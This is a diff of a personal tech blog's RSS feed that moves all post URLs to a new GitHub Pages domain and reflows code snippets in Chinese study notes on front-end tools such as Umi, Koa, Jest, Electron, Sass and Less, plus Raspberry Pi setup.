+      <link>https://chenjunlinabc.github.io/posts/111/</link>
       <pubDate>Thu, 23 Sep 2021 10:06:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/111/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/111/</guid>
       <description>ESlint是用来校验JavaScript代码风格格式的工具，目的是确保每个人的代码风格统一，按照统一的规范编写（规范化、标准化是前端工程化的特点）
 安装ESlint
 npm install eslint &amp;ndash;save-dev
@@ -245,10 +245,10 @@ npm run lint
     
     <item>
       <title>Umi框架学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/110/</link>
+      <link>https://chenjunlinabc.github.io/posts/110/</link>
       <pubDate>Mon, 20 Sep 2021 21:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/110/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/110/</guid>
       <description>Umi是一款前端应用框架
 官方文档：https://umijs.org/zh-CN/docs
 根据官方文档要求，node版本&amp;gt;=10.13
@@ -260,11 +260,11 @@ yarn start
 构建项目（默认生成到./dist）
 yarn build
 路由（src\.umi\core\routes.ts）
-&amp;quot;routes&amp;quot;: [
{
&amp;quot;path&amp;quot;: &amp;quot;/&amp;quot;,
&amp;quot;component&amp;quot;: require(&#39;@/pages/index&#39;).default,
&amp;quot;exact&amp;quot;: true
},{
&amp;quot;path&amp;quot;: &amp;quot;/admin&amp;quot;,
&amp;quot;component&amp;quot;: require(&#39;@/pages/admin&#39;).default,
&amp;quot;exact&amp;quot;: true
}
]
组件文件放在src\pages下
+&amp;quot;routes&amp;quot;: [ { &amp;quot;path&amp;quot;: &amp;quot;/&amp;quot;, &amp;quot;component&amp;quot;: require(&#39;@/pages/index&#39;).default, &amp;quot;exact&amp;quot;: true },{ &amp;quot;path&amp;quot;: &amp;quot;/admin&amp;quot;, &amp;quot;component&amp;quot;: require(&#39;@/pages/admin&#39;).default, &amp;quot;exact&amp;quot;: true } ] 组件文件放在src\pages下
 path是路径，component是组件路径，绝对和相对都可以用，也可以有require(&amp;rsquo;@/pages/xxx&amp;rsquo;)的方式
 exact表示是否严格匹配，就是path和组件路径是否要完全对应，默认为开启，如果设置为false，表示模糊匹配
 子组件
-&amp;quot;routes&amp;quot;: [
{
&amp;quot;path&amp;quot;: &amp;quot;/&amp;quot;,
&amp;quot;redirect&amp;quot;: &#39;/admin&#39;,
},{
&amp;quot;path&amp;quot;: &amp;quot;/admin&amp;quot;,
&amp;quot;component&amp;quot;: require(&#39;@/pages/admin&#39;).default,
routes: [
{ path: &#39;/admin/archives&#39;, redirect: &#39;/&#39; },
{ path: &#39;/admin/category&#39;, component: &#39;category&#39; },
]
}
]
redirect是跳转路由，当访问/的时候，跳转到/admin
+&amp;quot;routes&amp;quot;: [ { &amp;quot;path&amp;quot;: &amp;quot;/&amp;quot;, &amp;quot;redirect&amp;quot;: &#39;/admin&#39;, },{ &amp;quot;path&amp;quot;: &amp;quot;/admin&amp;quot;, &amp;quot;component&amp;quot;: require(&#39;@/pages/admin&#39;).default, routes: [ { path: &#39;/admin/archives&#39;, redirect: &#39;/&#39; }, { path: &#39;/admin/category&#39;, component: &#39;category&#39; }, ] } ] redirect是跳转路由，当访问/的时候，跳转到/admin
 文件路由（根据目录和文件名来分析路由）
 如果没有routes路由配置，那么就会触发该文件路由，通过分析src/pages目录
 注意：用.或者_开头的文件，用d.ts结尾的文件，不是 .</description>
@@ -272,35 +272,35 @@ exact表示是否严格匹配，就是path和组件路径是否要完全对应
     
     <item>
       <title>简单了解并且使用npm script</title>
-      <link>https://xiaochenabc123.github.io/posts/109/</link>
+      <link>https://chenjunlinabc.github.io/posts/109/</link>
       <pubDate>Mon, 20 Sep 2021 14:30:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/109/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/109/</guid>
       <description>npm script是package.json中可以定义的脚本命令，可以用来实现自动化构建，例如：
-&amp;quot;scripts&amp;quot;: {
&amp;quot;dev&amp;quot;: &amp;quot;node hallo.js&amp;quot;
}
npm run dev // 等于执行node hallo.js
+&amp;quot;scripts&amp;quot;: { &amp;quot;dev&amp;quot;: &amp;quot;node hallo.js&amp;quot; } npm run dev // 等于执行node hallo.js
 查看当前项目的全部npm脚本
 npm run
 注意：当前项目的node_modules/bin下的全部依赖都可以直接访问
 如果要执行多个脚本可以用&amp;amp;&amp;amp;（依次运行），&amp;amp;（并行运行）
 npm script有pre和post两个钩子，这两个钩子可以分别来做准备工作和清理工作等等，例如：
-&amp;quot;scripts&amp;quot;: {
&amp;quot;predev&amp;quot;: &amp;quot;echo hallo&amp;quot;,
&amp;quot;dev&amp;quot;: &amp;quot;node hallo.js&amp;quot;,
&amp;quot;postdev&amp;quot;: &amp;quot;echo yes&amp;quot;
}
相对于npm run predev &amp;amp;&amp;amp; npm run dev &amp;amp;&amp;amp; npm run postdev
+&amp;quot;scripts&amp;quot;: { &amp;quot;predev&amp;quot;: &amp;quot;echo hallo&amp;quot;, &amp;quot;dev&amp;quot;: &amp;quot;node hallo.js&amp;quot;, &amp;quot;postdev&amp;quot;: &amp;quot;echo yes&amp;quot; } 相对于npm run predev &amp;amp;&amp;amp; npm run dev &amp;amp;&amp;amp; npm run postdev
 像install，uninstall，publish，test，start等等都有pre和post这两个钩子
 查看正在运行的脚本
 const NpmScript = process.env.npm_lifecycle_event console.log(NpmScript)
 可以缩写不用run，例如：npm dev
 npm script可以使用npm内部变量，例如：
-{
&amp;quot;name&amp;quot;: &amp;quot;root&amp;quot;, &amp;quot;scripts&amp;quot;: {
&amp;quot;dev&amp;quot;: &amp;quot;node hallo.js $npm_package_name&amp;quot;
}
}
获取npm内部变量name
+{ &amp;quot;name&amp;quot;: &amp;quot;root&amp;quot;, &amp;quot;scripts&amp;quot;: { &amp;quot;dev&amp;quot;: &amp;quot;node hallo.js $npm_package_name&amp;quot; } } 获取npm内部变量name
 console.log(process.env.npm_package_name)
 脚本错误抛出
-&amp;quot;scripts&amp;quot;: {
&amp;quot;test&amp;quot;: &amp;quot;echo \&amp;quot;Error: no test specified\&amp;quot; &amp;amp;&amp;amp; exit 1&amp;quot;
}
传递参数</description>
+&amp;quot;scripts&amp;quot;: { &amp;quot;test&amp;quot;: &amp;quot;echo \&amp;quot;Error: no test specified\&amp;quot; &amp;amp;&amp;amp; exit 1&amp;quot; } 传递参数</description>
     </item>
     
     <item>
       <title>数据结构学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/106/</link>
+      <link>https://chenjunlinabc.github.io/posts/106/</link>
       <pubDate>Fri, 17 Sep 2021 01:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/106/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/106/</guid>
       <description>数据结构其实就是带结构的数据元素的集合，结构是数据元素之间的关系
 数据结构（数组，字符串，队列，栈，链表，集合，哈希表（散列表），树（二叉树），图）
 集合：结构中的元素除了同属于一个集合外，没有别的关系
@@ -317,10 +317,10 @@ console.log(process.env.npm_package_name)
     
     <item>
       <title>NodeJS常用工具的简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/105/</link>
+      <link>https://chenjunlinabc.github.io/posts/105/</link>
       <pubDate>Thu, 16 Sep 2021 21:55:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/105/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/105/</guid>
       <description>npm在这里https://xiaochenabc123.test.com/archives/31.html
 Yarn在这里https://xiaochenabc123.test.com/archives/38.html
 nvm全名node.js version management
@@ -363,42 +363,42 @@ n rm 14.17.3</description>
     
     <item>
       <title>Angular学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/101/</link>
+      <link>https://chenjunlinabc.github.io/posts/101/</link>
       <pubDate>Mon, 13 Sep 2021 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/101/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/101/</guid>
       <description>Angular是三大前端框架之一（Angular在国内的热度低，但是在国外热度还是很高的，主要是因为Angular到Angular2的断崖式升级）
 Angular和Vue的区别就是，Angular具备完整的MVVM框架功能（功能高度集成），提供一套完整的解决方案，而Vue是轻量级MVVM框架（渐进式，还需要vue-router之类的扩展功能），Angular和Vue并没有谁好谁坏之分，各有风格
 注意：Angular是AngularJS的重写，AngularJS使用JavaScript编写完成，而Angular采用TypeScript编写完成
 安装
 npm install -g angular-cli
 第一个Angular应用
-&amp;lt;div ng-app ng-init=&amp;quot;name=&#39;default&#39;&amp;quot;&amp;gt;
&amp;lt;p&amp;gt;name: &amp;lt;input type=&amp;quot;text&amp;quot; ng-model=&amp;quot;name&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;hallo，{{name}}&amp;lt;/h1&amp;gt;
&amp;lt;p ng-bind=&amp;quot;name&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
ng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值</description>
+&amp;lt;div ng-app ng-init=&amp;quot;name=&#39;default&#39;&amp;quot;&amp;gt; &amp;lt;p&amp;gt;name: &amp;lt;input type=&amp;quot;text&amp;quot; ng-model=&amp;quot;name&amp;quot;&amp;gt;&amp;lt;/p&amp;gt; &amp;lt;h1&amp;gt;hallo，{{name}}&amp;lt;/h1&amp;gt; &amp;lt;p ng-bind=&amp;quot;name&amp;quot;&amp;gt;&amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; ng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值</description>
     </item>
     
     <item>
       <title>Koa框架学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/100/</link>
+      <link>https://chenjunlinabc.github.io/posts/100/</link>
       <pubDate>Sun, 12 Sep 2021 18:30:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/100/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/100/</guid>
       <description>koa是web应用框架，是Express原班人马打造的，致力于成为一个更小、更富有表现力、更健壮的 Web 框架
 个人推荐：个人开发推荐用koa，团队开发推荐用egg
 egg是在koa的基础上进行封装，并且提供了一些，并且添加了约束，更利于工程化的开发
 安装koa
 npm install koa
 新建一个app.js
-const Koa = require(&amp;quot;koa&amp;quot;)
const app = new Koa()
app.use(async (ctx, next) =&amp;gt; {
await next()
ctx.response.type = &#39;text/html&#39;
ctx.response.body = &#39;&amp;lt;h1&amp;gt;hallo, koa!&amp;lt;/h1&amp;gt;&#39;
})
app.listen(3000)
node app.js
+const Koa = require(&amp;quot;koa&amp;quot;) const app = new Koa() app.use(async (ctx, next) =&amp;gt; { await next() ctx.response.type = &#39;text/html&#39; ctx.response.body = &#39;&amp;lt;h1&amp;gt;hallo, koa!&amp;lt;/h1&amp;gt;&#39; }) app.listen(3000) node app.js
 get请求参数的接收
-const Koa = require(&#39;koa&#39;)
const app = new Koa()
app.use(async(ctx)=&amp;gt;{
const url =ctx.url
const request =ctx.request
const reqQuery = request.query
const reqQuerystring = request.querystring
ctx.body={
url,
reqQuery,
reqQuerystring
}
})
app.listen(3000,()=&amp;gt;{
console.log(&#39;port 3000&#39;)
})
http://127.</description>
+const Koa = require(&#39;koa&#39;) const app = new Koa() app.use(async(ctx)=&amp;gt;{ const url =ctx.url const request =ctx.request const reqQuery = request.query const reqQuerystring = request.querystring ctx.body={ url, reqQuery, reqQuerystring } }) app.listen(3000,()=&amp;gt;{ console.log(&#39;port 3000&#39;) }) http://127.</description>
     </item>
     
     <item>
       <title>简单使用Jest-JavaScript测试工具</title>
-      <link>https://xiaochenabc123.github.io/posts/95/</link>
+      <link>https://chenjunlinabc.github.io/posts/95/</link>
       <pubDate>Mon, 06 Sep 2021 23:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/95/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/95/</guid>
       <description>Jest是Facebook开源的一套JavaScript测试框架
 安装
 在项目中安装
@@ -406,9 +406,9 @@ yarn add &amp;ndash;dev jest或者npm install &amp;ndash;save-dev jest
 全局安装
 yarn global add jest
 hello.js
-module.exports = function(){
return &amp;quot;hello world&amp;quot;
}
hello.test.js
-const hello = require(&#39;../hello&#39;)
it(&#39;should &#39;, () =&amp;gt; {
expect(hello()).toBe(&#39;hello world&#39;)
})
package.json
-{
&amp;quot;scripts&amp;quot;: {
&amp;quot;test&amp;quot;: &amp;quot;jest&amp;quot;
}
}
执行测试
+module.exports = function(){ return &amp;quot;hello world&amp;quot; } hello.test.js
+const hello = require(&#39;../hello&#39;) it(&#39;should &#39;, () =&amp;gt; { expect(hello()).toBe(&#39;hello world&#39;) }) package.json
+{ &amp;quot;scripts&amp;quot;: { &amp;quot;test&amp;quot;: &amp;quot;jest&amp;quot; } } 执行测试
 yarn test或者npm run test
 exspect() //运行结果
 toBe() //期待的结果
@@ -425,10 +425,10 @@ toBeGreaterThanOrEqual(6) //判断结果是否大于等于6</description>
     
     <item>
       <title>Taro脚手架学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/92/</link>
+      <link>https://chenjunlinabc.github.io/posts/92/</link>
       <pubDate>Tue, 31 Aug 2021 12:15:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/92/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/92/</guid>
       <description>Taro是京东凹凸实验室推出的一个脚手架，设计目的是多端统一开发解决方案，一次开发，多端运行
 Taro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持
 Taro官方文档：https://taro-docs.jd.com/taro/docs/README
@@ -454,10 +454,10 @@ import { View, Text } from &#39;@tarojs/components&#39; function Data(){ return
     
     <item>
       <title>简单利用Electron框架开发桌面端应用</title>
-      <link>https://xiaochenabc123.github.io/posts/91/</link>
+      <link>https://chenjunlinabc.github.io/posts/91/</link>
       <pubDate>Wed, 25 Aug 2021 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/91/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/91/</guid>
       <description>Electron是由github开发的开源框架，允许开发者使用web技术构建跨平台的桌面应用
 GUI由Chromium提供，底层通过Nodejs提供，Native API提供桌面端和跨平台的原生功能
 Visual Studio Code和Atom都是使用Electron开发的，可以说技术很成熟
@@ -477,16 +477,16 @@ var BrowserWindow = electron.BrowserWindow
 声明主窗口
 var mainWindow = null
 设置参数
-app.on(&#39;ready&#39;,()=&amp;gt;{
mainWindow = new BrowserWindow({
// 设置窗口大小
width:500,
height:500,
webPreferences:{
nodeIntegration: true
// 是否集成node
}
}) mainWindow.loadFile(&#39;index.html&#39;) // 指定窗口加载那个页面
mainWindow.on(&#39;closed&#39;,()=&amp;gt;{
mainWindow = null
// 监听销毁事件，事件触发关闭主窗口，设置为null
})
})
初始化
+app.on(&#39;ready&#39;,()=&amp;gt;{ mainWindow = new BrowserWindow({ // 设置窗口大小 width:500, height:500, webPreferences:{ nodeIntegration: true // 是否集成node } }) mainWindow.loadFile(&#39;index.html&#39;) // 指定窗口加载那个页面 mainWindow.on(&#39;closed&#39;,()=&amp;gt;{ mainWindow = null // 监听销毁事件，事件触发关闭主窗口，设置为null }) }) 初始化
 npm init &amp;ndash;yes</description>
     </item>
     
     <item>
       <title>Markdown基础语法笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/88/</link>
+      <link>https://chenjunlinabc.github.io/posts/88/</link>
       <pubDate>Wed, 18 Aug 2021 16:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/88/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/88/</guid>
       <description>Markdown是一个标记语言，常用于编写文档
 标题
 一级标题 二级标题 三级标题 四级标题 五级标题 六级标题 分别对别h1到h6
@@ -518,10 +518,10 @@ xxx xxx yyy yyy yyy yyy :-表示左对齐，-:表示右对齐，:-:表示居中
     
     <item>
       <title>SVN版本控制系统学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/84/</link>
+      <link>https://chenjunlinabc.github.io/posts/84/</link>
       <pubDate>Wed, 11 Aug 2021 15:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/84/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/84/</guid>
       <description>SVN全名Subversion，即版本控制系统
 和Git不同，Git是分布式，而SVN是集中式
 在commit没有冲突的时候，会合并
@@ -560,10 +560,10 @@ svn commit -m &amp;ldquo;hello svn&amp;rdquo;</description>
     
     <item>
       <title>简单使用Ant Design组件库</title>
-      <link>https://xiaochenabc123.github.io/posts/82/</link>
+      <link>https://chenjunlinabc.github.io/posts/82/</link>
       <pubDate>Tue, 10 Aug 2021 23:03:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/82/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/82/</guid>
       <description>Ant Design是蚂蚁金服技术沉淀出一套基于React的组件库和前端框架
 官网：https://ant.design/index-cn
 使用create-react-app初始项目
@@ -579,15 +579,15 @@ yarn add antd
 yarn create react-app antd-demo-ts &amp;ndash;template typescript
 Antd的样式使用了less作为开发语言
 第一个实例demo
-import &#39;antd/dist/antd.css&#39;;
import { DatePicker, Space } from &#39;antd&#39;;
ReactDOM.render(
&amp;lt;Space direction=&amp;quot;vertical&amp;quot;&amp;gt;
&amp;lt;DatePicker/&amp;gt;
&amp;lt;/Space&amp;gt;,
document.getElementById(&#39;root&#39;),
); </description>
+import &#39;antd/dist/antd.css&#39;; import { DatePicker, Space } from &#39;antd&#39;; ReactDOM.render( &amp;lt;Space direction=&amp;quot;vertical&amp;quot;&amp;gt; &amp;lt;DatePicker/&amp;gt; &amp;lt;/Space&amp;gt;, document.getElementById(&#39;root&#39;), ); </description>
     </item>
     
     <item>
       <title>Svelte学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/80/</link>
+      <link>https://chenjunlinabc.github.io/posts/80/</link>
       <pubDate>Mon, 09 Aug 2021 22:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/80/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/80/</guid>
       <description>Svelte的核心思想在于通过静态编译减少框架运行时的代码量
 Svelte风格和vue相似，模板用{}来表示
 Svelte的特点就是没有虚拟DOM（像Vue和React都是用虚拟DOM的）
@@ -596,39 +596,39 @@ npx degit sveltejs/template demo
 yarn
 yarn dev
 修改src\App.svelte和src\main.js
-&amp;lt;script&amp;gt;
let name = &#39;world&#39;
&amp;lt;/script&amp;gt;
&amp;lt;h1&amp;gt;Hello {name}!&amp;lt;/h1&amp;gt;
导入组件
-import Hallo from &#39;./hallo.svelte&#39;
...
&amp;lt;Hallo/&amp;gt;
如果想将HTML渲染到组件中可以使用 let string = &amp;lt;div&amp;gt;hallo word&amp;lt;/div&amp;gt; {@html string}
+&amp;lt;script&amp;gt; let name = &#39;world&#39; &amp;lt;/script&amp;gt; &amp;lt;h1&amp;gt;Hello {name}!&amp;lt;/h1&amp;gt; 导入组件
+import Hallo from &#39;./hallo.svelte&#39; ... &amp;lt;Hallo/&amp;gt; 如果想将HTML渲染到组件中可以使用 let string = &amp;lt;div&amp;gt;hallo word&amp;lt;/div&amp;gt; {@html string}
 事件响应
-function aClick() {
count += 1
}
...
&amp;lt;button on:click={aClick}&amp;gt;{count}&amp;lt;/button&amp;gt; </description>
+function aClick() { count += 1 } ... &amp;lt;button on:click={aClick}&amp;gt;{count}&amp;lt;/button&amp;gt; </description>
     </item>
     
     <item>
       <title>Mobx学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/78/</link>
+      <link>https://chenjunlinabc.github.io/posts/78/</link>
       <pubDate>Sun, 08 Aug 2021 21:35:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/78/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/78/</guid>
       <description>Mobx是一个状态管理库（状态管理实质上就是在管理数据变化）
 Mobx通过透明的函数响应式编程使得状态管理变得简单和可扩展
 Mobx状态管理是基于观察者模式的（Mobx6.0移除了修饰器）
 安装Mobx
-npm install mobx mobx-react --save
或者
-yarn add mobx mobx-react --save
导入
-import {observable, autorun, computed, action, makeObservable,reaction,when} from &amp;quot;mobx&amp;quot;
import {observer} from &amp;quot;mobx-react&amp;quot;
注意：在严格模式中，是不允许在action之外改变状态的
+npm install mobx mobx-react --save 或者
+yarn add mobx mobx-react --save 导入
+import {observable, autorun, computed, action, makeObservable,reaction,when} from &amp;quot;mobx&amp;quot; import {observer} from &amp;quot;mobx-react&amp;quot; 注意：在严格模式中，是不允许在action之外改变状态的
 启动严格模式
-import {configure} from &#39;mobx&#39;
configure({enforceActions: true})
observable定义可观察的状态 action修改状态（动作） computed计算值
+import {configure} from &#39;mobx&#39; configure({enforceActions: true}) observable定义可观察的状态 action修改状态（动作） computed计算值
 数据变化可被观察，例如：
-let appdata = observable([1,2,3,4,5])
console.log(appdata[1])
appdata = observable({a:1,b:2,c:3})
console.log(appdata.a)
appdata.a += 1
console.log(appdata.a)
appdata = observable.box(100)
console.log(appdata)
响应式对象
+let appdata = observable([1,2,3,4,5]) console.log(appdata[1]) appdata = observable({a:1,b:2,c:3}) console.log(appdata.a) appdata.a += 1 console.log(appdata.a) appdata = observable.box(100) console.log(appdata) 响应式对象
 makeObservable（手动配置observable，action，computed）
-const store = makeObservable({ count: 666, get double(){
return this.count * 2
},
increment(){
this.</description>
+const store = makeObservable({ count: 666, get double(){ return this.count * 2 }, increment(){ this.</description>
     </item>
     
     <item>
       <title>CSS预处理器-Sass学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/51/</link>
+      <link>https://chenjunlinabc.github.io/posts/51/</link>
       <pubDate>Fri, 02 Jul 2021 08:44:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/51/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/51/</guid>
       <description>sass是一门css扩展语言，css预处理器
 sass是基于ruby语言开发，在前端中可以使用npm安装
 npm install node-sass或者npm install node-sass &amp;ndash;save-dev
@@ -659,18 +659,18 @@ sass &amp;ndash;watch sass/style.scss:css/style.css
 第二种注释，不会编译到编译后的css文件中
 第三种注释，是表示重要注释，就算就是压缩编译，也会保留这个注释，一般用来声明版权
 变量
-$color: #ccc;
#app{
color: $color;
}
变量也可以嵌套到属性中
-$right: right;
#app{
margin-#{$right}: 50px;
}
运算
+$color: #ccc; #app{ color: $color; } 变量也可以嵌套到属性中
+$right: right; #app{ margin-#{$right}: 50px; } 运算
 允许使用加减乘除运算
-#app{
width: 100px + 20px;
height: (300px / 3) * 2;
}
嵌套，嵌套一般用在有同一个父元素（祖先元素）下，例如：</description>
+#app{ width: 100px + 20px; height: (300px / 3) * 2; } 嵌套，嵌套一般用在有同一个父元素（祖先元素）下，例如：</description>
     </item>
     
     <item>
       <title>CSS预处理器-Less学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/50/</link>
+      <link>https://chenjunlinabc.github.io/posts/50/</link>
       <pubDate>Thu, 01 Jul 2021 15:31:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/50/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/50/</guid>
       <description>less是一门css扩展语言，是css预处理器，扩展了css的动态特性，在css语法基础上引入了变量，混合，运算和函数等功能
 常见的css预处理器有sass，less，stylus
 less开发手册：https://less.bootcss.com/
@@ -693,7 +693,7 @@ hallo.less
 不能以数字开头
 大小写敏感
 例如：
-@color: #ccc;
#app{
background-color: @color;
}
less编译
+@color: #ccc; #app{ background-color: @color; } less编译
 less提供了一个解析器，通过解析器，编译成css文件
 例如：
 npm
@@ -703,16 +703,16 @@ lessc style.less style.css
 vsc插件：Easy LESS（修改保存就自动编译成css文件）
 less嵌套
 子元素嵌套到父元素上（后代选择器）
-#app{
width: 100px;
div{
width: 60px;
}
}
伪类或者伪元素选择之类的，需要加&amp;amp;连接起来，不加则认为是后代
-#app{
width: 100px;
a{
color: #000;
&amp;amp;:hover{
color: @color;
}
&amp;amp;::before{
width: 30px;
}
} }
less运算</description>
+#app{ width: 100px; div{ width: 60px; } } 伪类或者伪元素选择之类的，需要加&amp;amp;连接起来，不加则认为是后代
+#app{ width: 100px; a{ color: #000; &amp;amp;:hover{ color: @color; } &amp;amp;::before{ width: 30px; } } } less运算</description>
     </item>
     
     <item>
       <title>数据结构与算法学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/49/</link>
+      <link>https://chenjunlinabc.github.io/posts/49/</link>
       <pubDate>Tue, 29 Jun 2021 15:52:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/49/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/49/</guid>
       <description>根据于小甲鱼大佬的数据结构与算法教程而 ~~ 写 ~~ 抄的笔记
 什么是数据结构？
 数据结构是一门研究非数值计算的程序设计问题中的操作对象，以及它们之间的关系和操作等相关问题的学科。
@@ -775,10 +775,10 @@ less嵌套
     
     <item>
       <title>Grid布局学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/45/</link>
+      <link>https://chenjunlinabc.github.io/posts/45/</link>
       <pubDate>Wed, 23 Jun 2021 10:29:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/45/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/45/</guid>
       <description>grid 布局
 grid布局和flex布局类似，不过grid是最强大的css布局方式
 grid布局是网格布局
@@ -802,10 +802,10 @@ grid-row-gap: 10px; // 行间距（行与行的距离）</description>
     
     <item>
       <title>一些常用的进制转换方法</title>
-      <link>https://xiaochenabc123.github.io/posts/43/</link>
+      <link>https://chenjunlinabc.github.io/posts/43/</link>
       <pubDate>Sun, 20 Jun 2021 20:07:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/43/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/43/</guid>
       <description>除2取余，逆序排列
 十进制（整数）转二进制一般使用&amp;quot;除2取余，逆序排列&amp;quot;法：
 1.先使用2整除2进制，得到商和余数
@@ -821,10 +821,10 @@ grid-row-gap: 10px; // 行间距（行与行的距离）</description>
     
     <item>
       <title>记录一次MIME类型错误</title>
-      <link>https://xiaochenabc123.github.io/posts/39/</link>
+      <link>https://chenjunlinabc.github.io/posts/39/</link>
       <pubDate>Thu, 17 Jun 2021 08:25:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/39/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/39/</guid>
       <description>打开网页，发现css没有加载出来，f12一看，content-type: text/plain;，把这个css当文本输出了，浏览器请求到这种类型的文件都不会对其进行处理，而且应该是text/css才对
 先了解一下浏览器是如何处理这些数据的，是怎么区分的
 数据通过http传输协议获取到，然后由web服务器的content-type向浏览器进行指示数据的类型，而mime.types就是用来定义数据文件的类型，用什么格式来进行网页编码（charset=utf-8）
@@ -837,10 +837,10 @@ grid-row-gap: 10px; // 行间距（行与行的距离）</description>
     
     <item>
       <title>配置树莓派笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/29/</link>
+      <link>https://chenjunlinabc.github.io/posts/29/</link>
       <pubDate>Wed, 16 Jun 2021 14:48:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/29/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/29/</guid>
       <description>（树莓派系统）Raspbian是基于Debian GNU/Linux的免费操作系统，所以可以使用debian的操作方法来配置系统和使用系统
 现改名为Raspberry Pi OS
 工具：读卡器，16g内存卡，micro usb充电器，树莓派，一台pc
@@ -851,7 +851,7 @@ grid-row-gap: 10px; // 行间距（行与行的距离）</description>
 使用读卡器读取系统信息，在boot目录新建一个名为ssh的空白文件，用来打开ssh服务，ssh文件不需要存在内容 没有用那么需要手动启动ssh服务：service sshd restart
 在boot目录新建一个wpa_supplicant.conf文件
 ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev update_config=1
-network={
ssid=&amp;quot;wifi的名字&amp;quot;
psk=&amp;quot;wifi的密码&amp;quot;
key_mgmt=WPA-PSK
priority=1
}
update_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响
+network={ ssid=&amp;quot;wifi的名字&amp;quot; psk=&amp;quot;wifi的密码&amp;quot; key_mgmt=WPA-PSK priority=1 } update_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响
 插入内存卡，连接电源，开启树莓派
 Windows10开热点会显示连接设备的ip，wifi路由器的就去路由器后台找
 使用ssh工具，连接树莓派，默认用户名：pi，密码：raspberry 修改用户密码：sudo passwd pi pi是要修改密码的用户
@@ -863,14 +863,14 @@ sudo raspi-config
     
     <item>
       <title>JavaScript-XMLHttpRequest对象笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/14/</link>
+      <link>https://chenjunlinabc.github.io/posts/14/</link>
       <pubDate>Wed, 16 Jun 2021 09:25:49 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/14/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/14/</guid>
       <description>ajax请求是异步的，因此可以通过回调函数来处理响应
 实现ajax请求大多是使用XMLHttpRequest对象，该对象用于与服务器交互，可以在不刷新页面的情况下请求url，获取数据，从而达到更新页面内容的目的
 初始化XMLHttpRequest()构造函数，可以获得一个XMLHttpReques实例，例如：
-var xmlhttp = new XMLHttpRequest()
xmlhttp.onreadystatechange = function(){
if(xmlhttp.readyState == 4 &amp;amp;&amp;amp; xmlhttp.status == 200){
document.getElementById(&amp;quot;app&amp;quot;).innerHTML = xmlhttp.responseText
}
}
console.log(xmlhttp.readyState) // 0
